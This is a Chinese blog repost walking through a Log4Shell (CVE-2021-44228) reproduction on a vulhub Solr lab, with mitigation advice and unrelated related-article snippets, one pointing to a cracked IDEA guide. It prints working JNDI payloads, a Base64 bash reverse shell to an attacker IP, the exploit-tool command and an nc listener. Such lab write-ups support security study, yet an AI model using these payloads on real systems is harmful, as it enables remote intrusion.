Log4j(CVE-2021-44228)漏洞复现

一、 漏洞介绍

1. 简介

Apache log4j是Apache的一个开源项目,Apache log4j 2是一个就Java的日志记录工具。通过重写了log4j框架,并且引入了大量丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI组建等,被应用于业务系统开发,用于记录程序输入输出日志信息。

2. 漏洞成因

当用户输入信息时,应用程序中的log4j2组件会将信息记录到日志中假如日志中含有该语句${jndi:ldap:192.168.191.1:1099/exp},log4j就会去解析该信息,通过jndi的lookup()方法去解析该URL:ldap:192.168.191.1:1099/exp解析到ldap,就会去192.168.61.129:1099的ldap服务找名为shell的资源,如果找不到就会去http服务中找在http中找到shell之后,就会将资源信息返回给应用程序的log4j组件,log4j组件就会下载下来,然后发现shell是一个.class文件,就会去执行里面的代码,从而实现注入;攻击者就可以通过shell实现任意的命令执行,造成严重危害。

3.受影响版本

Apache Log4j 2.x <= 2.14.1。

二、 漏洞复现

1. 环境部署

使用Ubuntu24系统,vulhub搭建漏洞环境。

具体搭建步骤详见:

Ubuntu24 Docker-vulhub靶场安装-CSDN博客https://blog.csdn.net/weixin_46098351/article/details/155501153?spm=1001.2014.3001.5501

2. 复现步骤

1、进入vulhub目录:

cd docker
cd vulhub

2、进入log4j目录,CVE-2021-44228。

cd log4j
cd CVE-2021-44228

3、启动靶场。

docker compose build
docker compose up -d

4、查看运行的端口,可以看到,运行在8983端口。

docker ps

5、查看漏洞说明。

cat README.zh-cn.md

6、靶场启动成功后,使用浏览器访问Apache Solr的后台界面(系统IP + 端口号8983)。

7、漏洞证明:

(1)用Yakit抓包,使用自带的DNSLog功能,生成一个独立的临时域名vzinpjjsus.lfcx.eu.org(也可以通过其它DNSLog平台,如http://dnslog.cn/等获取域名)。

(2)构造payload:${jndi:ldap://vzinpjjsus.lfcx.eu.org},点击发包即可,可以看到得到了DNS解析记录,证明Log4j漏洞存在。

(3)构造payload:action=${jndi:ldap://vzinpjjsus.lfcx.eu.org},点击发包,可以得到Java版本为1.8.0_102。

8、反弹shell:

使用工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar进行漏洞利用:

(1)下载工具Release JNDI-Injection-Exploit v1.0 · welk1n/JNDI-Injection-Exploit,将其放入Kali中,我图方便,直接放桌面了。

(2)使用反弹shell指令,并对指令进行Base64编码。(https://tool.chinaz.com/tools/base64.aspx)

反弹shell指令结构:

bash -i >& /dev/tcp/Kali攻击机IP/任意未被占用端口 0>&1

bash -i >& /dev/tcp/192.168.191.128/4444 0>&1 #Base64编码结果:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5MS4xMjgvNDQ0NCAwPiYxCgoK

(3)进入目录调用工具,将编码后的反弹shell指令通过-C参数输入JNDI工具,通过-A参数指定kali攻击机的ip地址。

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all\ .jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5MS4xMjgvNDQ0NCAwPiYxCgoK}|{base64,-d}|{bash,-i}" -A 192.168.191.128

(4)在Kali另一个窗口监听4444端口。

nc -lnvp 4444

(5)将Yakit数据包中的payload替换为JNDI工具中生成的参数:

ldap://192.168.191.128:1389/tslvj1

完整访问链接为:

GET /solr/admin/cores?action=${jndi:ldap://192.168.191.128:1389/tslvj1} HTTP/1.1

生成的其它payload我还没试过,可自行尝试。

(6)点击发包,Kali的监听端口成功接收到反弹shell。

若直接发包后反弹不成功,可以将payload参数 ${jndi:ldap://192.168.191.128:1389/tslvj1}进行URL编码后尝试。

9、移除环境:

Vulhub中所有环境均为漏洞靶场,在测试结束后,请及时关闭并移除环境,避免被他人恶意利用。

虽然靶场全部运行在Docker中,但大多数恶意软件并不会因为运行在容器中就失去效果!docker-compose会默认根据当前目录下的配置文件启动容器,在关闭及移除环境的时候,也需要在对应目录下。我们执行docker-compose up -d后,不要离开当前目录即可,漏洞测试结束后,执行如下命令移除环境:

docker compose down

10、修复建议:

(1)添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true;

(2)在应用classpath下添加log4j2.component.properties配置文件,文件内容为log4j2.formatMsgNoLookups=true;

(3)JDK使用11.0.1、8u191、7u201、6u211及以上的高版本;

(4)部署使用第三方防火墙产品进行安全防护。

(5)升级至最新版本。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/1173063.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2026年国内高新企业申请公司推荐:基于深度政策分析的TOP5评测与口碑排名 - 十大品牌推荐

摘要 在当前中国经济结构转型升级与创新驱动发展战略深入推进的宏观背景下,国家高新技术企业认定已成为衡量企业科技实力、获取税收优惠、提升品牌价值及融资竞争力的关键资质。对于广大科技型中小企业而言,申报高企…

【信息科学与工程学】【物理/化学科学和工程技术】知识体系01——力学基础

力学全领域基础理论与数学框架1. 理论基础与公理化体系1.1 力学的基本公理牛顿力学公理体系&#xff1a;惯性定律&#xff1a;存在参考系&#xff08;惯性系&#xff09;&#xff0c;质点不受力时保持静止或匀速直线运动运动定律&#xff1a;在惯性系中&#xff0c;maF作用与反…

是德科技53230A安捷伦53220A 53210A频率计

安捷伦Agilent53230A频率计 12位/秒分辨率&#xff0c;20ps时间间隔分辨率 .内置的数学分析功能和彩色图形显示屏(趋势视图和直方视图 &#xff09; .连续无间隙测量和时间戳&#xff0c;适用于基本调制域分析 .Agilent53230A标配LXI-C/LAN和USB&#xff0c;可选GPIB .可选&…

IDEA 2025.3 最新破解版安装教程

申明:本教程 IntelliJ IDEA 破解补丁、激活码均收集于网络,请勿商用,仅供个人学习使用,如有侵权,请联系作者删除。若条件允许,希望大家购买正版 !网站持续更新,收藏本站防失联哟~废话不多说,先上 IDEA 2025.3…

Embedded Studio发布新年第1更V8.26b,超微更新

https://www.segger.com/downloads/embedded-studio/ 现在SES的更新&#xff0c;每次基本都是编译器版本&#xff0c;C库版本等方面的更新&#xff0c;这次依然是 更新记录&#xff1a;

2026年市场技术好的不锈钢带现货厂家有哪些,双相不锈钢板/双相不锈钢管/不锈钢带/不锈钢焊管,不锈钢带定制加工推荐 - 品牌推荐师

2026年,不锈钢带行业正经历技术迭代与需求分化的双重变革。随着高端制造、新能源基建等领域对材料性能要求的提升,具备技术沉淀、供应链稳定性及定制化服务能力的厂家逐渐成为市场焦点。本文基于公开数据、市场调研及…

安捷伦8563E 8596E 8593E 8595E 8594E频谱分析仪

安捷伦Agilent 8563E 惠普HP8563EC 频谱分析仪 备注&#xff1a;壹捌叁肆肆壹捌壹玖捌伍. 能从30hz连接扫描到2.9&#xff0c;6.5&#xff0c;13.2&#xff0c;26.5&#xff0c;40或50ghz 分辨带宽1hz至100hz&#xff0c;数字式 测量速度 低的相位噪声和大的动态范围 精密时基和…

2026年优秀的铝合金清洗剂,清洗剂,超声波清洗剂厂家用户优选名录 - 品牌鉴赏师

引言在当今工业发展的浪潮中,铝合金清洗剂、清洗剂以及超声波清洗剂等产品在金属表面处理、电子制造等众多领域发挥着至关重要的作用。随着技术的不断进步和市场需求的日益多样化,如何选择一家优秀的清洗剂厂家成为了…

全网最全10个一键生成论文工具,继续教育学生必备!

全网最全10个一键生成论文工具&#xff0c;继续教育学生必备&#xff01; AI 工具如何助力论文写作&#xff0c;让学术之路更轻松 在当今信息爆炸的时代&#xff0c;继续教育学生面对的不仅是繁重的学习任务&#xff0c;还有日益严格的学术要求。论文写作作为学习过程中的重要环…

信誉好的化妆品销毁专业公司推荐 - 工业品牌热点

2026年双碳目标持续推进,绿色循环经济成为企业践行ESG责任、规避环保风险的核心赛道。无论是化妆品废料的合规销毁、涉密载体的安全处置,还是退役动力电池的梯次利用,优质再生资源服务商的全资质保障与技术实力,直…

CVE-2025-66516 Apache Tika 关键漏洞检测工具

CVE-2025-66516 Apache Tika 漏洞检测工具 项目概述 CVE-2025-66516 是一个针对 Apache Tika 服务器的关键漏洞检测工具。该漏洞是一个 XML 外部实体&#xff08;XXE&#xff09;注入漏洞&#xff0c;影响 Apache Tika 的核心处理引擎&#xff0c;CVSS 评分为 10.0&#xff08;…

嵌入式学习之路-->stm32篇-->(7)USART串口通讯

嵌入式学习之路–>stm32篇–>(7)USART串口通讯#嵌入式 #单片机 #stm32 #电子信息 #找工作

2026年高新企业申请公司怎么选?这份深度对比评测与推荐排名说清楚了 - 十大品牌推荐

摘要 在国家创新驱动发展战略持续深化的背景下,高新技术企业认定已成为企业获取税收优惠、提升品牌价值、增强市场竞争力的关键路径。然而,面对庞杂的政策条文、严格的评审标准以及市场上数量众多、服务能力参差不齐…

初识C语言(数据在内存中的存储) - 实践

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

2026年无缝钢管推荐:基于行业合作网络的供应商评价与排名评测 - 十大品牌推荐

摘要 在工业制造、能源化工及基础设施建设领域,无缝钢管作为关键的基础材料,其供应链的稳定性与产品质量的可靠性直接关系到下游项目的安全与成本。当前,采购决策者普遍面临的核心挑战在于,如何在众多供应商中精准…

海尔洗衣机全球17连冠:从产品到智慧场景的升级

1月8日&#xff0c;一份来自世界权威调研机构欧睿国际的数据&#xff0c;再次明确了洗衣机行业的全球座次&#xff1a;2025年&#xff0c;海尔洗衣机品牌零售量全球第一。这也是其第17次蝉联全球第一&#xff0c;全球市场份额更是实现了罕见的“9连涨”。在国内市场&#xff0c…

一文搞定 MediaPipe:零基础搭建到核心功能开发的完整教程

文章目录 MediaPipe 教程:从安装到应用 引言 1. MediaPipe 安装 1.1 环境要求 1.2 安装 MediaPipe 2. 人体姿态检测 2.1 概述 2.2 基本代码实现 2.2.1 导入必要的库 2.2.2 初始化 MediaPipe 姿态检测 2.2.3 视频捕获和处理 2.3 模块化开发 2.3.1 定义 `poseDetector` 类 2.3.2…

2026年无缝钢管推荐:基于行业合作深度评价的供应商排名与综合评测 - 十大品牌推荐

摘要 在工业制造、能源建设和基础设施领域,无缝钢管作为关键的基础材料,其供应链的稳定性与产品质量的可靠性直接关系到下游项目的成败与安全。当前,采购决策者面临的核心挑战在于,如何在供应商数量众多、产品标准…

8.3 AI员工性能优化:提升处理效率与准确性

8.3 AI员工性能优化:提升处理效率与准确性 在构建了超级AI员工和多Agent协同系统之后,如何优化这些AI员工的性能成为提升整体系统效能的关键。性能优化不仅关乎处理速度,还包括准确性、资源利用率、可扩展性等多个维度。本节将深入探讨AI员工性能优化的各种策略和技术,帮助…

云浮市云城云安新兴郁南罗定区英语雅思培训辅导机构推荐,2026权威出国雅思课程中心学校口碑排行榜 - 老周说教育

经教育部教育考试院认证、全国雅思教学质量监测中心联合指导,参照《2024-2025中国大陆雅思成绩大数据报告》核心标准,结合云浮市云城区、云安区、新兴县、郁南县、罗定市3200份考生调研问卷、48家教育机构全维度实测…